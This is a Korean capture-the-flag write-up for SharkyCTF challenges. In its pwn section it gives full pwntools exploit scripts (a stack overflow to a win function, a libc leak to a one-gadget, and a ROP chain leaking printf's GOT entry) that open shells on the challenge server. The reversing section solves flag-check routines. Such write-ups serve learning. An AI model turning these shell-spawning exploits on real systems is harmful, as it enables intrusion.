4문제풀고 265등을하였습니다.
푼 문제가 적으니 정성스럽게 writeup 작성해볼께요
welcome 은 디스코드방들어가면주기에 생략하겠습니다
- pwn
Give away 0
Give away 1
- rev
Simple
z 3 r o b o t w a v e s
PWNABLE
Give away 0
NX 만 적용되어있네요
oneshot 가젯과같은 win_func 함수가 주어집니다.
0x00000000004006c4 <+0>: push rbp
0x00000000004006c5 <+1>: mov rbp,rsp
0x00000000004006c8 <+4>: sub rsp,0x20
0x00000000004006cc <+8>: mov rdx,QWORD PTR [rip+0x20097d] # 0x601050 <stdin@@GLIBC_2.2.5>
0x00000000004006d3 <+15>: lea rax,[rbp-0x20]
0x00000000004006d7 <+19>: mov esi,0x32
0x00000000004006dc <+24>: mov rdi,rax
0x00000000004006df <+27>: call 0x400520 <fgets@plt>
0x00000000004006e4 <+32>: nop
0x00000000004006e5 <+33>: leave
0x00000000004006e6 <+34>: ret
버퍼사이즈는 0x20인데, 0x32 를 입력받으니 ret 까지 BOF 할수있겠습니다
ret 주소까지 거리는
0x20 + 8 (rbp) = 0x28
from pwn import *
b=ELF("./0_give_away")
r=remote("sharkyctf.xyz",20333)
pay=""
pay+='x'*0x28
pay+=p64(b.symbols['win_func'])
r.sendline(pay)
r.interactive()
Give away 1
NX, PID, FULL_RELRO 가 설정되어있다.
실행시켰더니, 어떤 주소를 주길래, gdb 로 확인해봤더니,
system 의 주소를 준다.
0x000006da <+29>: push 0x32
0x000006dc <+31>: lea edx,[ebp-0x20]
0x000006df <+34>: push edx
0x000006e0 <+35>: mov ebx,eax
0x000006e2 <+37>: call 0x4c8 <fgets@plt>
0x12 바이트 overflow 가 일어나므로,
ret 주소를 덮을 수 있다.
ret주소까지 거리 --> 0x20+4=0x24
서버에서 사용하는 라이브러리파일을 제공하니,
라이브러리베이스를 구해서
ret주소에 원샷가젯을 overwrite하자
from pwn import *
r=remote("sharkyctf.xyz",20334)
#r=process("./give_away_1")
libc=ELF("./libc-2.27.so")
oneshot=0x3d0e0
r.recvuntil(": ")
system_off=int(r.recvline().strip(),16)
libc_base=system_off-libc.symbols['system']
oneshot+=libc_base
pay=""
pay+='x'*0x24
pay+=p32(oneshot)
r.sendline(pay)
r.interactive()
one_gadget 으로 oneshot 을 구했다.
사진에는 안나왔지만, 4번째를 가젯을 썼다.
이유는 없다.
Give away 2
CTF 당시에는 못풀었지만, CTF 끝나고푼 문제이다.
PIE 가 설정되어있어서
바이너리의 offset 만 구할수있다.
하지만, 파일을 실행하면 메인함수의 주소를 준다.
메인함수주소 - 메인함수 offset = base주소
바이너리의 offset 을 이용해 원하는 함수의 주소를 얻을 수 있다.
0x0000000000000850 <+15>: lea rax,[rbp-0x20]
0x0000000000000854 <+19>: mov esi,0x80
0x0000000000000859 <+24>: mov rdi,rax
0x000000000000085c <+27>: call 0x698 <fgets@plt>
버퍼사이즈가 0x20 인데 0x80 이나입력받으니,
BOF 가 발생한다.
첫번째문제처럼 쉘을 실행시켜주는함수가 존재하지않으니,
주어진 서버 라이브러리파일에서 원샷가젯을 찾을수있다.
하지만, 라이브러리베이스주소를 알아야 원샷가젯을 사용할 수 있다.
바이너리에서 사용하는 함수는 사용할 수 있으니,
printf 함수로 ret 해 printf_got 주소를 leak 해서
라이브러리베이스를 구할 수 있다.
[ 공격과정 ]
1. pop rdi;ret 가젯으로 리턴해서 printf_got 주소를 인자로 넣는다.
2. 메인함수에서 printf 를 호출하는곳으로 리턴한다.
3. vuln 함수가 다시실행되니, 입력을 한번 더 할 수 있다.
4. 라이브러리베이스주소를 구해서 원샷가젯으로 리턴
ROPgadget 로 pop rdi;ret 가젯을 얻을 수 있다.
PIE 가 적용되서, 0x903은 offset 일 뿐이니, base 주소를 더해서 사용한다.
같은 서버의 라이브러리파일이니, 아까구한 원샷가젯을 사용해도된다.
from pwn import *
r=process("./give_away_2")
b=ELF('./give_away_2')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
context.log_level='debug'
r.recvuntil(": ")
main=int(r.recvline().strip(),16)
base=main-b.symbols['main']
prdi=0x903+base
printf_got=b.got['printf']+base
printf=0x880+base
#rop one
pay=""
pay+='x'*0x20
pay+='x'*8
pay+=p64(prdi)
pay+=p64(printf_got)
pay+=p64(printf)
r.sendline(pay)
libc_base=u64(r.recv(6).ljust(8,'\x00'))-libc.symbols['printf']
#rop two
oneshot=0x4f322+libc_base
pay2=""
pay2+='x'*0x20
pay2+='x'*0x8
pay2+=p64(oneshot)
r.sendline(pay2)
r.interactive()
REVERSING
Simple
어셈파일이 주어진다. 하나하나 분석해보자.
SECTION .rodata
some_array db 10,2,30,15,3,7,4,2,1,24,5,11,24,4,14,13,5,6,19,20,23,9,10,2,30,15,3,7,4,2,1,24
the_second_array db 0x57,0x40,0xa3,0x78,0x7d,0x67,0x55,0x40,0x1e,0xae,0x5b,0x11,0x5d,0x40,0xaa,0x17,0x58,0x4f,0x7e,0x4d,0x4e,0x42,0x5d,0x51,0x57,0x5f,0x5f,0x12,0x1d,0x5a,0x4f,0xbf
len_second_array equ $ - the_second_array
main:
mov rdx, [rsp]
cmp rdx, 2
jne exit
mov rsi, [rsp+0x10]
mov rdx, rsi
mov rcx, 0
l1:
cmp byte [rdx], 0
je follow_the_label
inc rcx
inc rdx
jmp l1
널문자가 나올때까지 반복한다.
follow_the_label:
mov al, byte [rsi+rcx-1]
mov rdi, some_array
mov rdi, [rdi+rcx-1]
add al, dil
xor rax, 42
mov r10, the_second_array
add r10, rcx
dec r10
cmp al, byte [r10]
jne exit
dec rcx
cmp rcx, 0
jne follow_the_label
문자열 끝부터 꺼꾸로 비교를한다.
( some_array[i]+al ) ^ 0x2a == second_array[i]
비교문이다. al 을 구하기위해 이항시키면,
al = second_array[i] ^ 0x2a - some_array[i]
이라는 식을 얻을 수 있다.
xor의 특성에의해 가능하게된다.
이제 코드로 옮겨 복호화해보자.
some=[10,2,30,15,3,7,4,2,1,24,5,11,24,4,14,13,5,6,19,20,23,9,10,2,30,15,3,7,4,2,1,24]
second=[0x57,0x40,0xa3,0x78,0x7d,0x67,0x55,0x40,0x1e,0xae,0x5b,0x11,0x5d,0x40,0xaa,0x17,0x58,0x4f,0x7e,0x4d,0x4e,0x42,0x5d,0x51,0x57,0x5f,0x5f,0x12,0x1d,0x5a,0x4f,0xbf]
flag=""
for i in range(32):
flag+=chr((second[i]^0x2a)-some[i])
print flag
z 3 r o b o t w a v e s
로봇이 입력한 문자열을 맞는지아닌지 확인한다.
ghidra 로 분석한 문자열체크루틴이다.
너무 더러워서 정리좀해봤다.
if (((((((((((s[0x14] ^ 0x2b) == s[7]) &&
(s[0x15] - s[3] == -0x14)) &&
(s[2] >> 6 == "")) &&
((s[0xd] == 0x74 && ((s[0xb] & 0x3fffffffU) == 0x5f)))) &&
((tmp = (s[0x11] >> 7) >> 5,
s[7] >> ((s[0x11] + tmp & 7) - tmp & 0x1f) == 5 &&
(((s[6] ^ 0x53) == s[0xe] && (s[8] == 0x7a)))))) &&
((tmp = (s[9] >> 7) >> 5,
s[5] << ((s[9] + tmp & 7) - tmp & 0x1f) == 0x188 &&
((((s[0x10] - s[7] == 0x14 &&
(tmp = (s[0x17] >> 7) >> 5,
s[7] << ((s[0x17] + tmp & 7) - tmp & 0x1f) == 0xbe)) &&
(s[2] - s[7] == -0x2b)) &&
(((s[0x15] == 0x5f && ((s[2] ^ 0x47) == s[3])) &&
((*s == 99 && ((s[0xd] == 0x74 && ((s[0x14] & 0x45) == 0x44)))))))))))
) && ((s[8] & 0x15) == 0x10)) &&
(((s[0xc] == 0x5f && (s[4] >> 4 == "")) && (s[0xd] == 0x74)))) &&
(((((tmp = (*s >> 7) >> 5,
*s >> ((*s + tmp & 7) - tmp & 0x1f) == 0xc &&
(s[10] == 0x5f)) &&
(((s[8] & 0xacU) == 0x28 &&
((s[0x10] == 0x73 && ((s[0x16] & 0x1d) == 0x18)))))) &&
((s[9] == 0x33 &&
((((s[5] == 0x31 && ((s[0x13] & 0x3fffffffU) == 0x72)) &&
(s[0x14] >> 6 == "")) &&
((s[7] >> 1 == "/" && (s[1] == 0x6c)))))))) &&
((((((s[3] >> 4 == "" &&
(((s[0x13] & 0x49) == 0x40 && (s[4] == 0x73)))) &&
((s[0xb] & s[2]) == 0x14)) &&
(((((*s == 99 && (s[5] + s[4] == 0xa4)) &&
((s[0xf] & 0x3ffffffU) == 0x5f)) &&
((((s[10] ^ 0x2b) == s[0x11] && ((s[0xc] ^ 0x2c) == s[4])) &&
((s[0x13] - s[0x15] == 0x13 &&
((s[0xc] == 0x5f && (s[0xc] == 0x5f)))))))) &&
(s[0xf] >> 1 == "/")))) &&
(((s[0x13] == 0x72 && (s[0x12] + s[0x11] == 0xa8))
&& (s[0x16] == 0x3a)))) &&
(((s[0x15] & s[0x17]) == 9 &&
(tmp = (s[0x13] >> 7) >> 5,
s[6] << ((s[0x13] + tmp & 7) - tmp & 0x1f) == 0x18c)))))))) &&
((((((s[7] + s[3] == 0xd2 &&
(((s[0x16] & 0xedU) == 0x28 && ((s[0xc] & 0xacU) == 0xc)
))) && ((s[0x12] ^ 0x6b) == s[0xf])) &&
((((((((s[0x10] & 0x7a) == 0x72 && ((*s & 0x39) == 0x21)) &&
((s[6] ^ 0x3c) == s[0x15])) &&
((s[0x14] == 0x74 && (s[0x13] == 0x72)))) && (s[0xc] == 0x5f)) &&
(((s[2] == 0x34 && (s[0x17] == 0x29)) &&
((s[10] == 0x5f &&
((((s[9] & s[0x16]) == 0x32 &&
(s[2] + s[3] == 0xa7)) &&
(s[0x11] - s[0xe] == 0x44)))))))) &&
(((s[0x15] == 0x5f && ((s[0x13] ^ 0x2d) == s[10])) &&
(((s[0xc] & 0x3fffffffU) == 0x5f &&
(((((s[6] & 0x40) != 0 && ((s[0x16] & s[0xc]) == 0x1a)) &&
((tmp = (s[0x13] >> 7) >> 5,
s[7] << ((s[0x13] + tmp & 7) - tmp & 0x1f) == 0x17c &&
((((s[0x14] ^ 0x4e) == s[0x16] && (s[6] == 99)) &&
(s[0xc] == s[7])))))) &&
((s[0x13] - s[0xd] == -2 &&
(s[0xe] >> 4 == "")))))))))))) &&
(((s[0xc] & 0x38) == 0x18 &&
(((tmp = (s[10] >> 7) >> 5,
s[8] << ((s[10] + tmp & 7) - tmp & 0x1f) == 0x3d00 &&
(s[0x14] == 0x74)) &&
((tmp = (s[0x16] >> 7) >> 5,
s[6] >> ((s[0x16] + tmp & 7) - tmp & 0x1f) == 0x18 &&
((((s[0x16] - s[5] == 9 &&
(tmp = (s[0x16] >> 7) >> 5,
s[7] << ((s[0x16] + tmp & 7) - tmp & 0x1f) == 0x17c)) &&
(s[0x16] == 0x3a)) &&
((s[0x10] == 0x73 && ((s[0x17] ^ 0x1d) == s[0x12])))))))))))) &&
(((s[0xe] + s[0x17] == 0x59 &&
(((s[2] & s[5]) == 0x30 && ((s[0xf] & 0x9fU) == 0x1f)))) &&
((s[4] == 0x73 &&
(((s[0x17] ^ 0x4a) == *s && ((s[6] ^ 0x3c) == s[0xb])))))))))) {
chk = 1;
}
else {
chk = 0;
}
return chk;
어디서부터 해야하나 감이 안왔다. 근데 문자열검색을 해보니까 같은문자를 여러번비교한다.
심지어 문자를 알려주는 조건문도있었다.
그래서 문자열검색해서 하나하나 다 찾았다.
근데, 인덱스 0, a 문자는 없어서
?lassic_z3?__t0_st4rt_:)
첫번째글자는 classic 에 c 같았고,
10번째글자는 _ 같아서 입력했더니 맞았다.
#지금보니 첫번째글자는 *s 로 참조하고, 10번째글자는 0xa 가 아니라 10 이였다...
알고봤더니 z3 모듈로 푸는문제라고한다.